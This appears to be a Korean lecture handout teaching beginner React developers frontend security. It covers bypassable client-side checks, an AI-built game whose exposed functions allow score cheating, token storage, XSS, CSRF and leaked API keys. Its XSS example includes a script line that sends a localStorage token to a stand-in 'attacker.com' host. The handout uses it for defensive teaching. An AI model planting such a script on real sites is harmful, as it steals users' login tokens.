이제 곧 React로 화면을 더 빠르게 만들 수 있게 됩니다. 그런데 화면을 잘 만드는 것과 안전한 서비스를 만드는 것은 다릅니다. 특히 프론트엔드는 사용자의 브라우저 위에서 실행됩니다. 이 말은 곧 사용자가 프론트엔드 코드를 볼 수 있고, 일부는 조작할 수 있다 는 뜻입니다.
회원가입 폼에서 비밀번호 길이를 검사하거나, 숫자만 입력하게 막는 코드는 사용자 경험을 좋게 만듭니다. 하지만 이것만으로 보안이 지켜지는 것은 아닙니다.
if (password.length < 8) {
alert("비밀번호는 8자 이상이어야 합니다.");
}
사용자는 브라우저 개발자 도구나 직접 만든 요청으로 이 코드를 우회할 수 있습니다. 그래서 중요한 검증은 반드시 서버에서도 해야 합니다. 프론트엔드 검증은 사용자를 도와주는 장치이고, 서버 검증은 시스템을 지키는 장치입니다.
이전에 친구가 AI로 웹 게임을 만들어 온 적이 있습니다. 겉으로 보기에는 잘 동작했습니다. 버튼을 누르면 게임이 진행되고, 점수가 오르고, 랭킹도 보였습니다. 그런데 브라우저 개발자 도구를 열어보니 내부 함수와 상태가 너무 쉽게 노출되어 있었습니다.
// 게임 내부 함수가 전역에 노출되어 있었다
applyLaser(anyRegion, anyRegion); // 1회 호출에 점수 +38
원래라면 레이저 아이템을 실제로 가지고 있는지, 사용 가능한 상황인지 서버나 신뢰할 수 있는 로직에서 검증해야 합니다. 하지만 이 게임은 콘솔에서 함수를 호출하면 점수가 올라갔습니다. AI는 "돌아가는 게임"은 만들어줬지만, "나쁜 사용자가 어떻게 조작할 수 있는가"까지 먼저 챙겨주지는 않았습니다.
이 사례는 AI 시대에 더 중요합니다. AI가 만든 앱은 빠르게 그럴듯해집니다. 하지만 잘 돌아가는 것처럼 보인다고 안전한 것은 아닙니다.
로그인 기능을 만들면 토큰을 어디에 저장할지 고민하게 됩니다. 대표적으로 localStorage와 cookie가 있습니다. 둘 다 장단점이 있습니다.
결론은 "무조건 이게 정답"이 아니라, 어떤 공격을 막아야 하고 서비스 구조가 어떤지 보고 선택해야 한다는 것입니다. 중요한 건 토큰이 곧 권한이라는 감각입니다.
XSS는 공격자가 넣은 스크립트가 우리 사이트에서 실행되는 문제입니다. 예를 들어 게시글 내용에 스크립트를 넣었는데, 다른 사용자가 그 게시글을 볼 때 실행된다면 큰 문제가 됩니다.
<script>
fetch("https://attacker.com?token=" + localStorage.getItem("token"));
</script>
React는 기본적으로 문자열을 escape해주기 때문에 많은 XSS를 막아줍니다. 하지만
dangerouslySetInnerHTML처럼 HTML을 직접 넣는 기능을 쓰거나, 외부
markdown/html을 렌더링할 때는 조심해야 합니다.
CSRF는 사용자가 로그인된 상태를 이용해, 사용자가 의도하지 않은 요청을 보내게 만드는 공격입니다. 쿠키 기반 인증에서는 브라우저가 쿠키를 자동으로 붙여 보내기 때문에 특히 신경 써야 합니다.
SameSite Cookie, CSRF Token, Origin/Referer 검증 같은 대응이 있습니다. 오늘 전부 외울 필요는 없습니다. 핵심은 "브라우저가 자동으로 인증 정보를 붙여 보내는 구조에서는 이런 공격이 가능하다"는 감각입니다.
프론트엔드 번들에 들어간 값은 결국 사용자에게 전달됩니다. .env에 넣었다고
안전한 것이 아닙니다. 빌드 시점에 클라이언트 코드로 들어간 API 키는
브라우저에서 확인될 수 있습니다.
외부 서비스 키나 숨겨야 할 토큰은 서버, BFF, 서버리스 함수 같은 신뢰할 수 있는 계층에서 다뤄야 합니다.
다음 대면에서는 팀 협업을 다룹니다. Git, PR, 컨벤션, 리뷰 문화처럼 혼자 공부할 때는 잘 와닿지 않지만 팀 프로젝트에서 바로 필요한 것들을 봅니다.